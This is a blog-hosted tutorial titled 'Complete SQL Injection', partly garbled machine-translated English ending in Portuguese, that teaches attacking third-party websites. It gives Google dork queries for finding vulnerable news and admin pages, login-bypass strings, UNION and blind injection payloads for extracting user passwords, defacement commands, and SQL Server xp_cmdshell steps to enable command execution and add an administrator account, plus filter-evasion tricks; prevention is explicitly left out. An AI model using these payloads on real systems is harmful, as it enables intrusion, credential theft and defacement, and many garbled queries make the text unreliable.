Complete SQL Injection - BestCyberNews: Online News Presenter in the present world

BestCyberNews: Online News Presenter in the present world

Start knowing

test banner

Breaking

Complete SQL Injection

SQL stands for Structured Query Language, or Query Language
Structured.

Created in the 70s, the SQL was originally created by IBM, but soon
there were several variations of the language, created by other companies. Have you heard of MySQL and Oracle and did not know what it was? Are variations of the original SQL, created by MySQL AB and Oracle Corporation, respectively.

The SQL Injection, or "L SQ injection" technique is a very easy and also very powerful. No need scanners to find vulnerable sites and commands are sent directly to your browser.

This makes the SQL Injection a great technique. The only prerequisite for using such a technique is a basic knowledge of SQL.

Learning SQL

The SQL commands are all in English and are not complicated. This is the
reason being the language most widely used databases in the world. This is also the reason that favors an attacker
The commands you need to know to SQL Injection are:

SELECT - Search some information from the database and displays;
INSERT - Inserts information database;
DELETE - Deletes information from the database;
UPDATE - Update, or overwrite new information.

The main clauses are commonly used with the SELECT, are:

FROM - specifies the table where information will be removed.
WHERE - WHERE means.
HAVING - HAVING means.
ORDER BY - Used to sort a result.

The logical operators are:

OR - OR means
AND - And Means
NOT - NOT means

The main comparison operators are:

<- Means less
> - Means greater
<> - Means different
<= - Means LESS OR EQUAL
> = - Means GREATER OR EQUAL
= - Means EQUAL
LIKE - LIKE means.


Note

LIKE operator in use the percent sign%. The% means any value that is before or after the word provided. Do not confuse with an asterisk (*)!

The% is only used in LIKE!

Strings are written between quotation marks ('e');

Numbers are usually written;

Dates are written in-tac-toe game (#);

When you want to specify more than anything, use parentheses.

Nothing better than a few examples to understand how things work.

Here are some examples:

SELECT FROM User Registration
SELECT * FROM Registration
SELECT Name, Age, Phone FROM Registration
SELECT Name, Age FROM Registration WHERE Age> = 18
SELECT Name, SSN FROM Registration WHERE Name LIKE%% John Doe
SELECT * FROM ORDER BY Name Registration
INSERT INTO Registration (Name, Age) VALUES ('John Doe', 24)
INSERT INTO Registration (Date, Street) VALUES (# 01/01/2008 #, 'Street of the Dead')
DELETE FROM Name Registration
DELETE (Name, Age, Phone) FROM Registration
Name DELETE FROM Registration WHERE Name LIKE%% John Doe
UPDATE FROM Name Registration SET Name = 'Beltrano' WHERE name = 'John Doe'
UPDATE FROM Name Registration SET Name = 'John Doe' WHERE Name LIKE%% Beltrano

Translating ...

Remember that SQL is plain and simple English is not so difficult to understand
examples above.

"SELECT FROM User Registration" is the same as talking to the database "Show Register User column of the table." You can also do the reverse, creating the standard query language and then write them in SQL.

This translation it comes to what programming is called pseudo-code.

A little practice

Assuming that I'm within a page that uses SQL to process the login. We have the user field and the password field.

We are in an ASP page (some are in PHP) and the code to capture the inputs on the form are:

campo_usuario = Request.Form ("user")
campo_senha = Request.Form ("password")

The most important part of the page code is:

SELECT (User, password) FROM registry
WHERE User = '& & campo_usuario' AND password = '& & campo_senha'

These, you may have noticed, are SQL statements. For those who do not
can translate, the code compares the data provided on the form with the data that is stored in the database. If the user name and password club, and login page.

Great, we have a very simple login form in an ASP page using SQL with security. Safely? And what happens if we type malicious code, such as 'OR '1' = '1 in the fields username and password? Let's see. The code would run this SQL:

SELECT (User, password) FROM registry
WHERE User = '' OR '1 '= '1' AND password = '' OR '1 '= '1'

Let's do a translation: "Get User and password registration table, where User is empty or if a check is equal to 1 and where the password is empty or if a check is equal to 1", ie it looks for an empty field or verifies that a is equal to 1. How is 1 equal to 1, it comes as an administrator, because we were on the login page for administrators.

In some cases, administrators create an empty field in the database for testing and it can stick with their invasion.

Here are some strings:

'OR '1' = '1
'OR' a '=' a
'OR '1
'OR''='


* I will not delve into here since there are already other explanations in the post's here on the forum

Try to translate the strings and understand what they do on the page.

[COLOR = "Blue"] Who Think Search [/ COLOR]

As logging is done on web pages, you can use Google to find
vulnerable pages. Google has some tricks, hidden commands that most do not use. As professionals, we use it.

One of these is the allinurl command. He is to return only pages that have certain terms in the URL. Here are some examples:

allinurl: "admin / index.asp"
allinurl: "admin / login.asp"
allinurl: "admin / default.asp"
allinurl: "admin / admin.asp"


* I will not delve into here since there are already other explanations in the post's here on the forum

(Un) Fortunately, the pages vulnerable to SQL Injection are becoming more rare, but it is still possible to find one another. Check page by page.

Prevention

I chose not to indicate links, articles or comments on prevention (discuss on the subject on another occasion), is also preferable to obtain information directly from other authors here in the forum or the net (so appreciate the efforts of other professionals).

Advanced SQL Injection

In the previous subjects dear readers have a short introduction to SQL injection (SQL), not a big thing and the way in which SQL injection, in fields, and logging is virtually extinct. It is hard to find sites vulnerable to technique, as taught. Still, it's very ignorant one who says that SQL Injection is dead. What happened was that administrators and web masters got the message that their systems were vulnerable and fields began to use filters.

Then the SQL injection was finished, stagnant, depleted and destroyed?! Wrong! Administrators have forgotten that not only the login fields that use SQL ...

In these sites of companies and municipalities, we have an example page that requests the database, a news portal. In fact, there is a requirement to use DBs (Data Base [s]), I've seen some sites that use different pages for news, but returned to the subject ...

The two main programming languages ​​geared to the internet, getting HTML and CSS, of course, are PHP and ASP. PHP is a free initiative, created by Rasmus Lerdof. Since ASP is an initiative created by Microsoft paid.

In fact, both are not only a language but a whole system that allows scripting of quality. At least, so PHP ...

Recognize the language in which the news portal is written is very easy.

I would not even explain it, but let's give a little help for beginners ...

PHP pages have the extension. Php:

ASP pages have the extension. Asp:

Without exception, the servers that run. Asp work under Windows, for obvious reasons: the ASP is done by Microsoft. Normally, use SQL Server, also from Microsoft, but it is possible to use MySQL.

Since the servers. Php are usually on GNU / Linux, using MySQL, although there may be servers that support PHP on Windows.

Basically, the language used is SQL, but changing the entire platform, so techniques like the use of LIMIT in MySQL will not work in SQL Server.

The contrasts can be large on the site. For example, in most sites there are no filters against this type of SQL, but some have and can be circumvented by encoding and Blind SQL Injection.

Who even knows what I mean, do not worry, everything will be taught!

Let us begin, then

The technique of SQL that we use is based on the exploitation of the database through errors appear, allowing you to collect information such as logins, passwords, e-mail and in some cases (under SQL Server) to run commands as if we were at the command prompt .

It also allows us to make defacement, among other options.

Finally, we can utilize the full power of SQL and fuse it with XSS.

Find pages vulnerable to SQL is very easy. One of the best
existing tools for easy access and it is Google itself, the same search engine that we use every day to do homework and find photos, music, videos, etc ... although for images is better off SafeSearch ...

Well, the pages that use GET, or use the URL to pass parameters in which are more easily injected SQL. Thus, the use inurl Google is very useful.

In theory, all pages that use SQL do not have filters and are vulnerable to SQL, then, to find them, just look for pages that must use SQL as news portals for example. Usually these portals, to facilitate access, each story is given an ID and from it we inject SQL commands.

So many of the Google search strings are:

inurl: "noticias.php? id ="
inurl: "noticia.php? id ="
inurl: "ver_noticia.php? id ="
inurl: "ver.php? id ="
inurl: "abrir.php? id ="
inurl: "mostrar.php? id ="

These are just small examples. (Remember that there are also vulnerable ASP pages, so the string must be adapted).

To find the vulnerability, just a single quote (') behind? = Id.

If the system is vulnerable and you are using MySQL, the error is this:


You have an error in your SQL syntax; check the manual That corresponds to your
MySQL server version for the right syntax to use near'''at line 1.

But if you're using SQL Server, this is the error:


Unclosed quotation mark after the character string''.

If no error is displayed, the page simply is not vulnerable or approach should be better structured, ie made of different media. Sometimes errors do not appear from the simple inclusion of the apostrophe, but are in other ways.

Some tips are to delete the ID value and the apostrophe, or replace the ID value of null, not showing any news. I personally deeply appreciate the null.

It can also happen to be vulnerable page, but does not display this error, requiring, as I said, made a better approach.

Well, do not worry if you can not find a vulnerable page on the first try, after all, SQL injection, with all its modes of injection, vulnerability is the second most popular internet sites, second only to XSS.

Pages vulnerable to SQL is extremely common!

We will explain how the system displays an error by using the single quote.

I will spare the explanations too, because I have raised a bit of SQL queries on another occasion.

Assuming that the initial query is:

SELECT news, date, author database.noticias FROM WHERE id = '100 '

And we are putting an apostrophe, this is the query:

SELECT news, date, author database.noticias FROM WHERE id = '100 '

The system will try to get the news, date, and author of the news through the ID 100 and will set another variable name without the single quote with the system itself, ie, we are doing an impossible operation, so the system charges the error. So much so that SQL Server accuses unclosed quotation, "quote" open.

Database Concepts

After finding a vulnerable page, we can begin to explore the database. Before you explore it you need to know how it works. Each site can have one or more connections to databases, each database may have given one or more tables, each table is divided into rows and columns.

Imagine that each table is like a spreadsheet in Excel or Math.

Note that in the examples on this page, the query asks for the news columns, date and author, news of the table in the database database.

Learning SQL

In previous issues I had addressed some of the commands you can use in SQL and now here are some more that will be needed for our work:

UNION - is used to combine the result of SELECT;
ORDER BY - sort the columns by using a column as a criterion;
HAVING - "having," ie, certain criteria have to be!

Fortunately, in practice it becomes more clear.

MySQL

Take for example a fictitious site whose address is http://site.com.br . On this site we have several pages, and one of them is noticias.php.

Accessing the address http://site.com.br/noticias.php?id=10 'received the following error:


You have an error in your SQL syntax; check the manual That corresponds to your
MySQL server version for the right syntax to use near'''at line 1.

That means it is vulnerable. If it does, great, if it does not, do not give up! It is extremely common to find sites in PHP that do not display the message and are vulnerable. Anyway, it's worth trying to dig before you simply drop the site. In fact, this step is not strictly necessary ...

With a site in hand, we find the number of columns of the table being used to store the news, and from there to find out more about the entire database. We will use the ORDER BY to do so.

Let's try number by number until you reach the right number of columns by adding the following after the URL, otherwise it is between the parentheses:

order by 2 - (news displayed)
order by 3 - (news displayed)
order by 4 - (news displayed)
order by 5 - (news displayed)
order by 6 - (error)

When the news is not displayed, we have the following error:

Unknown column '6 'in' order clause '

We now know that our table has only five columns - usually have more, have found sites with ten columns in the table - we can use UNION to explore the entire database.

It can be inferred that in a query like SELECT title, text, author, the results will be displayed on the page.

With the UNION discovered which results are displayed on the page and we will replace any other query results.

From now on it is interesting to replace the number with null id news, it will not return any news and will facilitate / enable our work.

But before discovering the rest of the MySQL system, it is reasonable to find the database in which we are, after all, imagine a site with more than one database connection created by the administrator, in which we are?

We use the following scheme, after the URL:

null union select 1,2,3,4,5 from NOTEXIST -

An error similar to this appears:

Table 'database.NOTEXIST' does not exist

What we have to do is request a table that does not exist, without defining the connection database to which it belongs, and the system, by default, takes the connection currently used, which is in the case database. The two lines at the end, are signs of comments in SQL MySQL to ignore the rest of the query that would generate an error because of the closing quote.

Now we can find out more about the database we are in, including possible tables that store login information. To this end, we need to find that query results are displayed on the page, use this way:

null union select 1,2,3,4,5 -

Results vary from page to page, but it would appear something like this:


News
2
2 / / 1
3


Another example of "displaying" is this:

News

5-2

4
-------------------
+ PHOTOS (click photo to enlarge)
-------------------

Other Issues:
Ø 4/1/1933 - 3

Then choose one or more numbers that are shown to explore the entire system database.

Assuming that to be displayed on screen 1, 2 and 3, as in the first instance, then we use the URL corresponding to the three places for our purposes and the other numbers, even numbers 4 and 5, replaced by null or not ...

The Sun, which produces the MySQL would facilitate the work of hackers administrators creating a database that stores virtually all interesting information such as names of database connections, tables, columns and more. As of version 5.0 of MySQL have the information_schema DB, which is widely used in SQL.

Information_schema Inside, the tables have columns and tables that are very important, I believe that it is not necessary to explain what they hold, within them, there are columns that store all the table names and column system.

In addition, there is a special table that holds the DB tables and columns defined by the administrator, table_schema, which will also be used.

First, let's see if we are in a site with MySQL prior to 5.0, after using the following URL:

1.2 union select null, @ @ version, 4,5 -

Briefly, the @ @ version is a global variable that holds the version of the system database. Based on the results, which always has the version number, I fear it ...

If you are on a site that uses 5.0 or later, great. If not, then we have to guess the names of tables, following management standards, and all the talk referred to the information_schema is useless.

Some examples of @ @ version:


5.0.67-community

5.0.67-community / / 1
3


/ / 2
3

5.0.67-community

Begin by determining the tables in the database that have already discovered, the database, adding the following to the URL we were using null:

null union select 1,2, table_name, from 4.5 INFORMATION_SCHEMA.TABLES where TABLE_SCHEMA = 'database' limit 0,1 -

Needless to say, is claimed to INFORMATION_SCHEMA.TABLES table name, when the DB for database. If all goes well, we will have a table name:


5-2

Articles

Perfect, we found a table, but her name is news, its contents, we assume, is not very useful to us, unless we want to do a defacement.

About defacement, we have to find the columns of the table, so we will see later.

And now, as we do to find out more tables?

Note that in the previous query, I used 0.1 in the final limit. The limit will serve as a cursor between the tables. To advance to the next table, we use 1.1 limit after limit 2.1 and so on, until you find all the tables.

Assuming we have found the tables "news," "discourse,"
"Commitments", "login" and "test". It is highly deductible content of each one, and just pay a little attention to realize that user names and passwords are stored in log table ...

Now you must find the columns of each table, since without the columns (where are stored the data and log-ins), we can not get data. It would be like trying to hit the middle of a target without the "fly".

Get the names of the columns is very similar to get to the tables:

null union select 1,2, column_name, from 4.5 INFORMATION_SCHEMA.COLUMNS where table_name = 'login' limit 0,1 -

And so we use the cursor again as LIMIT.

Great, we have the name of all tables, and columns (s) table (s) that interests us (m), very good, and now, how to obtain usernames and passwords, known in our log table, assuming find the columns user, pass, and privileges?

Almost done the part that covers MySQL, let me teach you how to get "lines" of each column of the table, that is, what interested us from the beginning. Be aware that sites found vulnerable, playing with the tables and finally understood everything that was passed, congratulations. For me it was so easy!

Well, back to the goal ...

We were doing queries to system tables, which for our purposes - and not our means - nothing in interest. Then, the structure of the query is the same.

1.2 union select null, user, from 4.5 database.login -

Great, we get a user guy.

For the password, as you must know:

1.2 union select null, pass, from 4.5 database.login where user = 'guy' -

And there is the password. For the privileges, privileges column content:

null union select 1,2, privileges, from 4.5 database.login where user = 'fulano'-

Tiring get user with a query, another query and password with privileges to another? We can (try) to concatenate all, and get all in one fell swoop:

null union select 1,2, CONCAT_WS (user, pass, privileges), from 4.5 database.login -

The limit is still valid in these cases and can use as a cursor.

Assuming you already know the user name, or deduct from any place, that part of the username is admin ... We like to use:

null union select 1,2, CONCAT_WS (user, pass, privileges), from 4.5 database.login where user like '% admin%' -

And so we get the user and the administrator password, which the user would, in the example, something like admin.

Well, we can get passwords from users of the site, or we can make a defacement, to leave our signature.

In this case ...

In this case, before anything, we set the table we want to attack. Assuming we want a change news, the latest for a message as 6SÃOLAMMAH first, let's find out which table has the news columns, that we were at the beginning:

null union select 1,2, column_name, from 4.5 INFORMATION_SCHEMA.COLUMNS where table_name = 'news' limit 0,1 -

Then, use the cursor again as LIMIT. After discovering all of the columns, which in our example would be something like id, title, text, author and date, we can change anything we want with the update command.

In this case, we're not making queries to the system. Now let's modify the database, so we must close the query that used to guide the id.

We will use a new ID, assigned to a fresh news, so nobody has to get some news of the first to see your "art". We assume that this ID is 1000, and mounted so behind? Id =:

null update news SÃOLAMMAH Set Text = '6 'where noticias.id = 1000 -

In the example, what we do is close the string that takes the id, and through point-and-comma, pass other commands to the database. Thus, at least in theory, have a defacement.

Making a deface can and should be more complete, then we should at least change the title of the news and increase our text about something in HTML, so that the user has the feeling that the "hacker" had style, and was not only idiot.

Who called now, have noticed that could use some functions of PHP to revive an old technique, now in disuse, the PHP Injection said that I did not intend to address in the magazine, for being dead and having content on the Internet ...

But that's it!

Remembering that I am not encouraging anyone to commit any act compromising, unethical or illegal, and so, I exempt from any responsibility. It's much smarter to warn the administrator that his site is vulnerable. The sad thing is to do this when the website owner and administrator are the same person, and moreover, a web master, as has happened to me ...

SQL Server

SQL Server is a Microsoft product, so usually runs under pages. Asp and necessarily, runs on Windows, since I believe that Microsoft will not create a version of its platform for GNU / Linux. ..

I find it easier to exploit than MySQL, the opponent is not that difficult to exploit, but flaws in SQL Server allow more easily cause more damage. We will see later why.

The verification scheme is similar to the vulnerability of platforms MySQL, the single quote and double quote - and in some cases, brackets and other customary closing characters. Well, if it had not turned ...

In the first steps that change are the errors.

Again, trying to close the string using a single quote with
http://site.com.br/noticias.asp?id=null ' , we get:


Unclosed quotation mark before the character string''.

Unlike MySQL, which is very common to enter a quotation mark and does not return any error, and yet the site is vulnerable to SQL Server is common to display the error "the tough guy." MySQL SQL Server 1 x 0.

In SQL Server, will work a little differently than in MySQL, and we can directly exploit the table where we are:

http://site.com.br/noticias.asp?id=null having 1 = 1 -

Appears something like:


Microsoft] [ODBC SQL Server Driver] [SQL Server] Column 'noticias.id' is
invalid in the select list because it is not contained in an aggregate
function and there is in the GROUP BY clause.

Thus, we have a column of our table!

To find out more about the schedule of news, use the group by clause. Thus, we injected:

http://site.com.br/noticias.asp?id=null noticias.id group by having 1 = 1 -


[Microsoft] [ODBC SQL Server Driver] [SQL Server] Column 'noticias.titulo' is
invalid in the select list because it is not contained in an aggregate
function and there is in the GROUP BY clause.

Now, behind. Asp? Id =:

null group by noticias.id, noticias.titulo having 1 = 1 -


[Microsoft] [ODBC SQL Server Driver] [SQL Server] Column 'noticias.texto' is
invalid in the select list because it is not contained in an aggregate
function and there is in the GROUP BY clause.


null group by noticias.id, noticias.titulo, noticias.texto having 1 = 1 -


[Microsoft] [ODBC SQL Server Driver] [SQL Server] Column 'noticias.autor' is
invalid in the select list because it is not contained in an aggregate
function and there is in the GROUP BY clause.

null group by noticias.id, noticias.titulo, noticias.texto, news s.autor having 1 = 1 -


[Microsoft] [ODBC SQL Server Driver] [SQL Server] Column 'noticias.data' is
invalid in the select list because it is not contained in an aggregate
function and there is in the GROUP BY clause.

We. If we run this:

null group by noticias.id, noticias.titulo, noticias.texto, news s.autor, noticias.data
having 1 = 1 -


The text, ntext, and image data types can not be Compared or sorted, except
When using IS NULL or LIKE operator.

About this group by we can, instead of using
noticias.id, noticias.etc, we can also just use id, etc., that is, do not put the table in front. However, if the same column in another table, we certainly errors.

Now, if we wish, we can already do a defacement:

null update news SÃOLAMMAH Set Text = '6 'where noticias.id = 1000 -

Good, but tell me, what is the use of the defacement?

Since we are already very sharp at this stage of the championship, I do not think that's worth showing how to get passwords, but ... the limit does not exist in SQL Server.

Instead of using the limit, we use a query with top and not exist to explore the database.

null union select top 1 1.2, user, from 4.5 database.login where user not exist (select top 0 from user database.login)

What we have to do is use the top, which takes the row x column user, if this result is not in another similar query, but with the x-1.

Our next query would be:

null union select top 2 1.2, user, from 4.5 database.login where user not exist (select top 1 from user database.login)

As we see, the limit actually is needed, but nothing that a brain and some other functions do not resolve. In fact, the scheme is very similar to the limit, but it changes a little ...

Now we have learned to exploit the database, let's explore the rest of the system. Yes, on more than one server exists a database ...

We have an entire operating system, which from SQL injection, can become our own, or better, we can take care ...

Now we learn how to exploit the database, let me teach a "design flaw" of SQL Server that allows remote execution of commands, the same commands you type into the command prompt.

That is, from now on, you have power over vulnerable SQL servers to SQL Servers. MySQL SQL Server 2 x 0

In SQL Server there is a function that runs commands as if the
administrator was in a command prompt, it's the xp_cmdshell.

Assuming that the administrator wants to test the communication, it can give a ping loopback using:

exec master .. xp_cmdshell 'ping localhost';

To the attacker, the layout changes a bit, we are intruders in the system and we need to build a query that runs the xp_cmdshell.

Thus, after an ID, type:

exec master .. xp_cmdshell 'ping localhost';

And voila, the server gives ping loopback.

"What could it be useful?! What commands do I run? "

Let me illustrate:

net user [User] [password] / add {create a user on the remote server and allows login via telnet or remote desktop}.

If used in conjunction with

net localgroup Administrators [User] / {add adds the user to the Administrators group}

By default, SQL Server 2005 xp_cmdshel l is disabled for security reasons, however, if we wish, we can activate it:

exec sp_configure 'show advanced options', 1
reconfigure
exec sp_configure 'xp_cmdshell', '1 '
reconfigure

Remembering that we have to tailor it to the query to SQL Injection.

Blind SQL Injection

Agora que já aprendemos o básico da SQL e já temos o mínimo de maturidade nesse tipo de técnica, podemos aprender sobre Blind SQL Injection. Antes, de começar, eu gostaria de fazer duas considerações.

A primeira é quanto a origem do nome “blind SQL injection”. Blind, em inglês, é um adjetivo que significa “cego”; isto quer dizer que não usamos os erros comuns para explorar o banco de dados.

A segunda, é que Blind SQL é um pouco mais difícil de entender e demorada que a Advanced SQL comum.

A Blind SQL surgiu da necessidade de burlar ou bypass um “filtro” utilizado por alguns web masters. Colocando-se um sinal de arroba (@) atrás da função que pega os dados, os erros que esta função poderia exibir são ocultos. Normalmente, isso dá uma certa impressão de segurança ao web master que não entende as possibilidades da Blind SQL Injection.

O que fazemos na Blind SQL é utilizar o operador AND para comparar o resultado de uma query com o ID, e retornar os valores booleanos TRUE ou FALSE .

Para descobrir a vulnerabilidade, utilizamos de cara o AND:

http://site.com.br/noticia.php?id=1 and 1=1
http://site.com.br/noticia.php?id=1 and 0=1

O primeiro, caso o site esteja vulnerável, retorna o valor TRUE – já que 1 sempre é igual a 1 – e exibe a página corretamente. No segundo endereço fictício, o site não retornaria uma página “coerente” com o site, já que o resultado sempre é FALSE.

Concluímos que o nosso site fictício está sim vulnerável a Blind SQL e vamos partir para cima dele. Como é um portal de notícias que usa IDs para “linkar” as notícias e é um site brasileiro – que fala português – é provável que a tabela que guarda as notícias seja algo como noticia, noticias, noti, news e muitos outros padrões de administração.

Para explorar o banco de dados, nós vamos utilizar o AND da mesma forma, porém, vamos verificar se um é igual ao resultado de alguma query. Basicamente, é assim que funciona Blind SQL.

O problema de sempre é que não conseguimos visualizar nomes de databases, tabelas e colunas via information_schema ou via sysobjects, e sempre temos que “chutar” o nome…

Primeiramente, vamos descobrir o nome de algumas tabelas.

http://site.com.br/noticias.php?id=1 and 1=(select * from noticias)

Neste caso, seguindo as tabelas que usei como exemplo anteriormente, a página seria exibida normalmente, indicando que de fato existe a tabela noticias. Sabendo disso, poderíamos testar n nomes de tabelas para descobrir qual a tabela que guarda os nomes de usuários e senhas. Não muda muita coisa para capturar nomes de colunas:

http://site.com.br/noticias.php?id= 1 and 1=(select texto from noticias)

Se a coluna texto existir, então a página da notícia 1 é exibida.

Agora já poderíamos efetuar um defacement:

http://site.com.br/noticias.php?id=1000 and 1=(update noticias insert set texto='6SÃOLAMMAH' where noticias.id=1000)

Provavelmente, a página já será exibida com o novo texto.

Mas como vivo dizendo, para fins didáticos, o defacement não acrescenta nada.

Caso esteja interessado em expor suas idéias, tente fazer algum outro tipo de protesto…

Agora o objetivo é capturar alguma conta e senha de algum usuário.

Depois de algumas tentativas, descobrimos a tabela que contém os nomes de usuários, senhas e outras informações que não são tão interessantes para nós, cujo nome é login.

Descobrimos também que ela tem as colunas user, pass e privileges por métodos citados anteriormente.

Para descobrir o conteúdo de alguma coluna é um pouco mais difícil, visto que temos que testar os caracteres um por um em valor ASCII.

Vamos utilizar então as funções ascii() e substring() .

Supondo que eu tenha algum nome de usuário em mãos, qualquer que seja o meio pelo qual o consegui, basta eu pegar a senha. No exemplo, o usuário seria vitima ea suposta senha, senha, sem números e de apenas letras. O correto seria utilizar letras maiúsculas e minúsculas em senhas, mas isso quase nunca acontece, então podemos testar apenas com letras minúsculas.

Vamos dividir o alfabeto ao meio, pegando o caractere “m” (109) e checando se a primeira letra da senha está acima ou abaixo de “ m ”:

http://site.com.br/noticias.php?id=1 AND ascii(substring((select pass from login where user='vitima'),1,1)) > 109

A página foi exibida, o que significa que o primeiro caractere está acima de ' m ':

http://site.com.br/noticias.php?id=1 AND ascii(substring((select pass from login where user='vitima'),1,1)) > 117

Agora a página não é exibida, pois 's ' em ASCII é 115. Vamos tentar 113:

http://site.com.br/noticias.php?id=1 AND ascii(substring((select pass from login where user='vitima'),1,1)) > 113

A página é exibida, então temos um caractere ASCII entre 113 e 117.

http://site.com.br/noticias.php?id=1 AND ascii(substring((select pass from login where user='vitima'),1,1)) > 114

TRUE novamente.

http://site.com.br/noticias.php?id=1 AND ascii(substring((select pass from login where user='vitima'),1,1)) > 115

FALSE! Isso significa que é 115! Ou, em caracteres, a letra “ s ”.

Para pegar o próximo caractere da senha, no caso, “ e ”, fazemos o mesmo, porém, vamos mudar a substring:

http://site.com.br/noticias.php?id=1 AND ascii(substring((select pass from login where user='vitima'),2,1))

SQL sem aspas

Provavelmente, enquanto estava injetando SQL em alguma página – não adianta negar que não tentou – provavelmente, deve ter recebido um erro semelhante a este:

You have an error in your SQL syntax; check the manual that corresponds to your
MySQL server version for the right syntax to use near '\'' at line 1


Pois bem, o administrador tentou proteger seu sistema utilizando uma função que adiciona uma barra invertida “\” antes de aspas duplas e aspas simples, a addslashes(). Como sabemos, podemos fazer grande parte da SQL sem aspas , mas quando forem necessárias, podemos utilizar de vários meios para burlar essa proteção. Um deles, para MySQL, é converter cada caractere para seu valor ASCII e utilizar o seguinte formato:

char (11,22,33,44,55)

Em SQL Server, você pode utilizar uma solução parecida:

char (11) + char (22) + char (33) + char (44) + char (55)

Podemos ainda utilizar valores hexadecimais, precedidos por 0x, que indica o valor hexadecimal da constante, deste modo:

0×1122334455

SQL Tricks (truques)

Bom, aqui estão algumas considerações que podem ser decisivas na hora de uma boa SQL:

• — (dois sinais menos) são sinais de comentários “padrão”, mas dependendo do sistema, deve-se usar /* ou #);

• às vezes, o sistema bloqueia espaços no campo de id, para burlar isso e juntar tudo, podemos utilizar %20 no lugar de espaços e %27 no lugar de aspas simples;

• quando isso não funciona, podemos substituir espaços por char(0×20), por +, e em MySQL, às vezes, por /**/;

• se estiver trabalhando em sistemas com que se orientam por IDs e números em geral, não use aspas duplas ou aspas simples, pois não se usa qualquer tratamento diferente com números, ao contrário das strings;

• scanners são para lammers, se quiser achar alguma página vulnerável, utilize o Google;

• tudo varia muito, cada site tem sua própria plataforma, dialeto, padrões e forma de trabalhar diferente, aqui eu procurei ser bastante genérico falando do SQL Server e do MySQL, mas não disse tudo;

No comments:

Post a Comment